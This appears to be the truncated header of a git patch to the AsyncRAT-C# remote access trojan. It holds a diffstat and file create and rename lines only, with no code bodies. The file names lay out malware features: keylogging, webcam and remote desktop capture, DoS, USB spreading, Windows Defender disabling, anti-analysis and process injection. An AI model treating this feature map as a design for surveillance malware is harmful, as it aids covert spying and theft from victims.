From 5278a0b5983252b00d8f822d174b1f07e9aabd63 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sat, 22 Jun 2019 19:26:06 +0300 Subject: [PATCH] Update --- AsyncRAT-C#/.gitattributes | 2 + AsyncRAT-C#/.gitignore | 335 ++++ .../{ => AsyncRAT-C#}/AsyncRAT-Sharp.sln | 0 .../Video.DirectShow/CameraControlProperty.cs | 67 + .../AForge/Video.DirectShow/FilterInfo.cs | 193 ++ .../Video.DirectShow/FilterInfoCollection.cs | 138 ++ .../Internals/IAMCameraControl.cs | 81 + .../Video.DirectShow/Internals/IAMCrossbar.cs | 88 + .../Internals/IAMStreamConfig.cs | 74 + .../Internals/IAMVideoControl.cs | 112 ++ .../Video.DirectShow/Internals/IBaseFilter.cs | 161 ++ .../Internals/ICaptureGraphBuilder2.cs | 192 ++ .../Internals/ICreateDevEnum.cs | 37 + .../Internals/IEnumFilters.cs | 71 + .../Video.DirectShow/Internals/IEnumPins.cs | 68 + .../Internals/IFilterGraph.cs | 113 ++ .../Internals/IFilterGraph2.cs | 257 +++ .../Internals/IGraphBuilder.cs | 198 ++ .../Internals/IMediaControl.cs | 118 ++ .../Internals/IMediaEventEx.cs | 126 ++ .../AForge/Video.DirectShow/Internals/IPin.cs | 191 ++ .../Internals/IPropertyBag.cs | 53 + .../Internals/IReferenceClock.cs | 87 + .../Internals/ISampleGrabber.cs | 103 + .../Internals/ISampleGrabberCB.cs | 47 + .../Internals/ISpecifyPropertyPages.cs | 36 + .../Video.DirectShow/Internals/Structures.cs | 518 +++++ .../Video.DirectShow/Internals/Uuids.cs | 299 +++ .../Video.DirectShow/Internals/Win32.cs | 102 + .../Video.DirectShow/PhysicalConnectorType.cs | 123 ++ .../Client/AForge/Video.DirectShow/Uuids.cs | 55 + .../Video.DirectShow/VideoCapabilities.cs | 245 +++ .../Video.DirectShow/VideoCaptureDevice.cs | 1698 +++++++++++++++++ .../AForge/Video.DirectShow/VideoInput.cs | 47 + .../Client/AForge/Video/IVideoSource.cs | 126 ++ .../Client/AForge/Video/VideoEvents.cs | 125 ++ .../Client/Algorithm/Aes256.cs | 0 .../Client/Algorithm/Sha256.cs | 0 .../{ => AsyncRAT-C#}/Client/Client.csproj | 58 +- .../Client/Connection/ClientSocket.cs | 4 +- .../Client/Connection/TempSocket.cs | 4 +- .../Client/Handle Packet/HandleBlankScreen.cs | 0 .../Client/Handle Packet/HandleBotKiller.cs | 0 .../Client/Handle Packet/HandleDos.cs | 0 .../Client/Handle Packet/HandleFileManager.cs | 310 +++ .../Client/Handle Packet/HandleLimeLogger.cs | 200 ++ .../Client/Handle Packet/HandleLimeUSB.cs | 0 .../Client/Handle Packet/HandleNetStat.cs | 0 .../Client/Handle Packet/HandlePcOptions.cs | 0 .../Handle Packet/HandleProcessManager.cs | 0 .../Handle Packet/HandleRemoteDesktop.cs | 117 ++ .../Handle Packet/HandleReportWindow.cs | 0 .../Client/Handle Packet/HandleSendTo.cs | 0 .../Client/Handle Packet/HandleShell.cs | 0 .../Client/Handle Packet/HandleThumbnails.cs | 0 .../Client/Handle Packet/HandleTorrent.cs | 0 .../Client/Handle Packet/HandleUAC.cs | 0 .../Client/Handle Packet/HandleUninstall.cs | 7 - .../Client/Handle Packet/HandleWebcam.cs | 214 +++ .../Handle Packet/HandleWindowsDefender.cs | 0 .../Client/Handle Packet/HandlerChat.cs | 47 + .../Handle Packet/HandlerExecuteDotNetCode.cs | 0 .../Client/Handle Packet/HandlerRecovery.cs | 0 .../Client/Handle Packet/Packet.cs | 60 +- .../Client/Helper/Anti_Analysis.cs | 198 +- .../Client/Helper/FormChat.Designer.cs | 93 + .../AsyncRAT-C#/Client/Helper/FormChat.cs | 45 + .../AsyncRAT-C#/Client/Helper/FormChat.resx | 123 ++ .../Client/Helper/Methods.cs | 4 +- .../Client/Helper/ProcessCritical.cs | 0 .../Client/Install/NormalStartup.cs | 0 .../Client/MessagePack/BytesTools.cs | 0 .../Client/MessagePack/MsgPack.cs | 0 .../Client/MessagePack/MsgPackType.cs | 0 .../Client/MessagePack/ReadTools.cs | 0 .../Client/MessagePack/WriteTools.cs | 0 .../{ => AsyncRAT-C#}/Client/Program.cs | 0 .../Client/Properties/AssemblyInfo.cs | 0 AsyncRAT-C#/AsyncRAT-C#/Client/Settings.cs | 85 + .../AsyncRAT-C#/Client/StreamLibrary/Enums.cs | 20 + .../Client/StreamLibrary/IUnsafeCodec.cs | 44 + .../Client/StreamLibrary/IVideoCodec.cs | 35 + .../UnsafeCodecs/UnsafeStreamCodec.cs | 338 ++++ .../StreamLibrary/src/JpgCompression.cs | 49 + .../StreamLibrary/src/LzwCompression.cs | 52 + .../Client/StreamLibrary/src/NativeMethods.cs | 20 + .../{ => AsyncRAT-C#}/Client/app.config | 0 .../Server/Algorithm/Aes256.cs | 0 .../Server/Algorithm/Sha256.cs | 0 .../{ => AsyncRAT-C#}/Server/App.config | 0 .../Server/Connection/Clients.cs | 0 .../Server/Connection/Listener.cs | 0 .../Server/Forms/Form1.Designer.cs | 14 +- .../{ => AsyncRAT-C#}/Server/Forms/Form1.cs | 70 +- .../{ => AsyncRAT-C#}/Server/Forms/Form1.resx | 2 +- .../Server/Forms/FormAbout.Designer.cs | 0 .../Server/Forms/FormAbout.cs | 0 .../Server/Forms/FormAbout.resx | 0 .../Server/Forms/FormBuilder.Designer.cs | 0 .../Server/Forms/FormBuilder.cs | 0 .../Server/Forms/FormBuilder.resx | 0 .../Server/Forms/FormCertificate.Designer.cs | 0 .../Server/Forms/FormCertificate.cs | 0 .../Server/Forms/FormCertificate.resx | 0 .../Server/Forms/FormChat.Designer.cs | 7 +- .../AsyncRAT-C#/Server/Forms/FormChat.cs | 70 + .../Server/Forms/FormChat.resx | 0 .../Server/Forms/FormDOS.Designer.cs | 0 .../{ => AsyncRAT-C#}/Server/Forms/FormDOS.cs | 0 .../Server/Forms/FormDOS.resx | 0 .../Server/Forms/FormDotNetEditor.Designer.cs | 0 .../Server/Forms/FormDotNetEditor.cs | 0 .../Server/Forms/FormDotNetEditor.resx | 0 .../Server/Forms/FormDownloadFile.Designer.cs | 0 .../Server/Forms/FormDownloadFile.cs | 36 +- .../Server/Forms/FormDownloadFile.resx | 0 .../Server/Forms/FormFileManager.Designer.cs | 61 +- .../Server/Forms/FormFileManager.cs | 40 +- .../Server/Forms/FormFileManager.resx | 844 ++++---- .../Server/Forms/FormKeylogger.Designer.cs | 3 +- .../Server/Forms/FormKeylogger.cs | 9 +- .../Server/Forms/FormKeylogger.resx | 0 .../Server/Forms/FormPassword.Designer.cs | 0 .../Server/Forms/FormPassword.cs | 0 .../Server/Forms/FormPassword.resx | 0 .../Server/Forms/FormPorts.Designer.cs | 0 .../Server/Forms/FormPorts.cs | 0 .../Server/Forms/FormPorts.resx | 0 .../Forms/FormProcessManager.Designer.cs | 0 .../Server/Forms/FormProcessManager.cs | 0 .../Server/Forms/FormProcessManager.resx | 0 .../Forms/FormRemoteDesktop.Designer.cs | 11 +- .../Server/Forms/FormRemoteDesktop.cs | 28 +- .../Server/Forms/FormRemoteDesktop.resx | 3 + .../Forms/FormSendFileToMemory.Designer.cs | 0 .../Server/Forms/FormSendFileToMemory.cs | 0 .../Server/Forms/FormSendFileToMemory.resx | 0 .../Server/Forms/FormShell.Designer.cs | 0 .../Server/Forms/FormShell.cs | 0 .../Server/Forms/FormShell.resx | 0 .../Server/Forms/FormTorrent.Designer.cs | 0 .../Server/Forms/FormTorrent.cs | 0 .../Server/Forms/FormTorrent.resx | 0 .../Server/Forms/FormWebcam.Designer.cs | 0 .../Server/Forms/FormWebcam.cs | 0 .../Server/Forms/FormWebcam.resx | 0 .../Server/Handle Packet/HandleChat.cs | 34 + .../Server/Handle Packet/HandleFileManager.cs | 18 +- .../Server/Handle Packet/HandleKeylogger.cs | 38 + .../Server/Handle Packet/HandleListView.cs | 0 .../Server/Handle Packet/HandleLogs.cs | 0 .../Server/Handle Packet/HandlePing.cs | 0 .../Handle Packet/HandleProcessManager.cs | 0 .../Server/Handle Packet/HandleRecovery.cs | 0 .../Handle Packet/HandleRemoteDesktop.cs | 50 +- .../Handle Packet/HandleReportWindow.cs | 0 .../Server/Handle Packet/HandleShell.cs | 0 .../Server/Handle Packet/HandleThumbnails.cs | 0 .../Server/Handle Packet/HandleWebcam.cs | 1 - .../Server/Handle Packet/Packet.cs | 8 +- .../Server/Helper/AsyncTask.cs | 0 .../Server/Helper/CreateCertificate.cs | 7 - .../Server/Helper/IconInjector.cs | 0 .../Server/Helper/ListViewColumnSorter.cs | 0 .../Server/Helper/ListviewDoubleBuffer.cs | 0 .../Server/Helper/Methods.cs | 12 - .../Server/Helper/ReferenceLoader.cs | 0 .../Server/MessagePack/BytesTools.cs | 0 .../Server/MessagePack/MsgPack.cs | 0 .../Server/MessagePack/MsgPackType.cs | 0 .../Server/MessagePack/ReadTools.cs | 0 .../Server/MessagePack/WriteTools.cs | 0 .../{ => AsyncRAT-C#}/Server/Program.cs | 0 .../Server/Properties/AssemblyInfo.cs | 0 .../Server/Properties/Resources.Designer.cs | 0 .../Server/Properties/Resources.resx | 0 .../Server/Properties/Settings.Designer.cs | 0 .../Server/Properties/Settings.settings | 0 .../RenamingObfuscation/Classes/Base64.cs | 0 .../Classes/ClassesRenaming.cs | 0 .../Classes/DecryptionHelper.cs | 0 .../Classes/FieldsRenaming.cs | 0 .../Classes/InjectHelper.cs | 0 .../Classes/MethodsRenaming.cs | 0 .../Classes/NamespacesRenaming.cs | 0 .../Classes/PropertiesRenaming.cs | 0 .../RenamingObfuscation/Classes/Utils.cs | 0 .../RenamingObfuscation/EncryptString.cs | 0 .../RenamingObfuscation/Interfaces/ICrypto.cs | 0 .../Interfaces/IRenaming.cs | 0 .../Server/RenamingObfuscation/ModuleDefMD.cs | 0 .../Server/Resources/Miscellaneous.png | Bin .../Server/Resources/PluginRecovery.dll | Bin .../Server/Resources/PluginRunPE.dll | Bin .../Server/Resources/PluginUsbSpread.dll | Bin .../Server/Resources/arrow_down.png | Bin .../Server/Resources/arrow_up.png | Bin .../Server/Resources/blank-screen.png | Bin .../Server/Resources/botkiller.png | Bin .../Server/Resources/builder.png | Bin .../Server/Resources/cGeoIp.dll | Bin .../Server/Resources/chat.png | Bin .../Server/Resources/client.png | Bin .../Server/Resources/coding.png | Bin .../Server/Resources/ddos.png | Bin .../Server/Resources/disabled.png | Bin .../Server/Resources/extra.png | Bin .../Server/Resources/filemanager.png | Bin .../Server/Resources/info.png | Bin .../Server/Resources/key.png | Bin .../Server/Resources/logger.png | Bin .../Server/Resources/monitoring-system.png | Bin .../Server/Resources/mouse.png | Bin .../Server/Resources/mouse_enable.png | Bin .../Server/Resources/msgbox.png | Bin .../Server/Resources/netstat.png | Bin .../{ => AsyncRAT-C#}/Server/Resources/pc.png | Bin .../Server/Resources/play-button.png | Bin .../Server/Resources/process.png | Bin .../Server/Resources/remotedesktop.png | Bin .../Server/Resources/report.png | Bin .../Server/Resources/save-image.png | Bin .../Server/Resources/save-image2.png | Bin .../Server/Resources/settings.png | Bin .../Server/Resources/shell.png | Bin .../Server/Resources/stop (1).png | Bin .../Server/Resources/system.png | Bin .../Server/Resources/tomem.png | Bin .../Server/Resources/tomem1.png | Bin .../Server/Resources/u-torrent-logo.png | Bin .../Server/Resources/uac.png | Bin .../Server/Resources/usb.png | Bin .../Server/Resources/visit.png | Bin .../Server/Resources/webcam.png | Bin .../{ => AsyncRAT-C#}/Server/Server.csproj | 12 +- AsyncRAT-C#/AsyncRAT-C#/Server/Settings.cs | 24 + .../Server/StreamLibrary/Enums.cs | 0 .../Server/StreamLibrary/IUnsafeCodec.cs | 0 .../Server/StreamLibrary/IVideoCodec.cs | 0 .../UnsafeCodecs/UnsafeStreamCodec.cs | 0 .../StreamLibrary/src/JpgCompression.cs | 0 .../StreamLibrary/src/LzwCompression.cs | 0 .../Server/StreamLibrary/src/NativeMethods.cs | 0 .../{ => AsyncRAT-C#}/Server/app.manifest | 0 .../{ => AsyncRAT-C#}/Server/async_icon.ico | Bin .../{ => AsyncRAT-C#}/Server/packages.config | 0 AsyncRAT-C#/Client/FodyWeavers.xml | 4 - AsyncRAT-C#/Client/FodyWeavers.xsd | 111 -- .../Client/Handle Packet/HandlePlugin.cs | 85 - AsyncRAT-C#/Client/Helper/RegistryDB.cs | 67 - AsyncRAT-C#/Client/Settings.cs | 85 - AsyncRAT-C#/LICENSE | 21 + AsyncRAT-C#/Plugin/LimeLogger.dll | Bin 23552 -> 0 bytes AsyncRAT-C#/Plugin/PluginBase.zip | Bin 13726 -> 0 bytes AsyncRAT-C#/Plugin/PluginCam.dll | Bin 55808 -> 0 bytes AsyncRAT-C#/Plugin/PluginChat.dll | Bin 24064 -> 0 bytes AsyncRAT-C#/Plugin/PluginDesktop.dll | Bin 31232 -> 0 bytes AsyncRAT-C#/Plugin/PluginFileManager.dll | Bin 28160 -> 0 bytes AsyncRAT-C#/README.md | 66 + AsyncRAT-C#/Server/Forms/FormChat.cs | 86 - .../Server/Handle Packet/HandleChat.cs | 54 - .../Server/Handle Packet/HandleKeylogger.cs | 52 - .../Server/Handle Packet/HandlePlugin.cs | 37 - AsyncRAT-C#/Server/Settings.cs | 28 - 264 files changed, 9111 insertions(+), 1400 deletions(-) create mode 100644 AsyncRAT-C#/.gitattributes create mode 100644 AsyncRAT-C#/.gitignore rename AsyncRAT-C#/{ => AsyncRAT-C#}/AsyncRAT-Sharp.sln (100%) create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Algorithm/Aes256.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Algorithm/Sha256.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Client.csproj (60%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Connection/ClientSocket.cs (97%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Connection/TempSocket.cs (96%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleBlankScreen.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleBotKiller.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleDos.cs (100%) create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleLimeUSB.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleNetStat.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandlePcOptions.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleProcessManager.cs (100%) create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleReportWindow.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleSendTo.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleShell.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleThumbnails.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleTorrent.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleUAC.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleUninstall.cs (94%) create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandleWindowsDefender.cs (100%) create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandlerExecuteDotNetCode.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/HandlerRecovery.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Handle Packet/Packet.cs (79%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Helper/Anti_Analysis.cs (96%) create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.resx rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Helper/Methods.cs (97%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Helper/ProcessCritical.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Install/NormalStartup.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/MessagePack/BytesTools.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/MessagePack/MsgPack.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/MessagePack/MsgPackType.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/MessagePack/ReadTools.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/MessagePack/WriteTools.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Program.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/Properties/AssemblyInfo.cs (100%) create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/Settings.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/Enums.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs rename AsyncRAT-C#/{ => AsyncRAT-C#}/Client/app.config (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Algorithm/Aes256.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Algorithm/Sha256.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/App.config (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Connection/Clients.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Connection/Listener.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/Form1.Designer.cs (99%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/Form1.cs (95%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/Form1.resx (99%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormAbout.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormAbout.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormAbout.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormBuilder.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormBuilder.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormBuilder.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormCertificate.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormCertificate.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormCertificate.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormChat.Designer.cs (95%) create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormChat.cs rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormChat.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormDOS.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormDOS.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormDOS.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormDotNetEditor.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormDotNetEditor.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormDotNetEditor.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormDownloadFile.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormDownloadFile.cs (76%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormDownloadFile.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormFileManager.Designer.cs (97%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormFileManager.cs (93%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormFileManager.resx (57%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormKeylogger.Designer.cs (98%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormKeylogger.cs (90%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormKeylogger.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormPassword.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormPassword.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormPassword.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormPorts.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormPorts.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormPorts.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormProcessManager.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormProcessManager.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormProcessManager.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormRemoteDesktop.Designer.cs (97%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormRemoteDesktop.cs (90%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormRemoteDesktop.resx (99%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormSendFileToMemory.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormSendFileToMemory.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormSendFileToMemory.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormShell.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormShell.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormShell.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormTorrent.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormTorrent.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormTorrent.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormWebcam.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormWebcam.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Forms/FormWebcam.resx (100%) create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Handle Packet/HandleFileManager.cs (93%) create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Handle Packet/HandleListView.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Handle Packet/HandleLogs.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Handle Packet/HandlePing.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Handle Packet/HandleProcessManager.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Handle Packet/HandleRecovery.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Handle Packet/HandleRemoteDesktop.cs (56%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Handle Packet/HandleReportWindow.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Handle Packet/HandleShell.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Handle Packet/HandleThumbnails.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Handle Packet/HandleWebcam.cs (98%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Handle Packet/Packet.cs (95%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Helper/AsyncTask.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Helper/CreateCertificate.cs (86%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Helper/IconInjector.cs (100%) rename 